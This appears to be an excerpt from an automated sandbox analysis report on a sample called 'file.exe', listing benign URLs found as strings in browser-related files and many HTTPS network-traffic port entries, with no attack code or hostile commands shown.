Source: chromecache_509.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_509.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: EHCFBFBAEBKJKEBGCAEH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.8.dr, 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log0.8.dr, 000003.log3.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376599056117058.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_509.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: AFHDAKJKFCFBGCBGDHCBAFCAKE.0.dr	String found in binary or memory: https://support.mozilla.org
Source: AFHDAKJKFCFBGCBGDHCBAFCAKE.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AFHDAKJKFCFBGCBGDHCBAFCAKE.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2736611897.00000000238AD000.00000004.00000020.00020000.00000000.sdmp, EHCFBFBAEBKJKEBGCAEH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr, EBFBFBFI.0.dr, Web Data.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 4eb14ff2-3044-42b7-96f5-8fd4ea03ffcc.tmp.9.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_509.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_509.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_509.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: AFHDAKJKFCFBGCBGDHCBAFCAKE.0.dr	String found in binary or memory: https://www.mozilla.org
Source: AFHDAKJKFCFBGCBGDHCBAFCAKE.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: AFHDAKJKFCFBGCBGDHCBAFCAKE.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: AFHDAKJKFCFBGCBGDHCBAFCAKE.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: AFHDAKJKFCFBGCBGDHCBAFCAKE.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2736611897.00000000238AD000.00000004.00000020.00020000.00000000.sdmp, EHCFBFBAEBKJKEBGCAEH.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
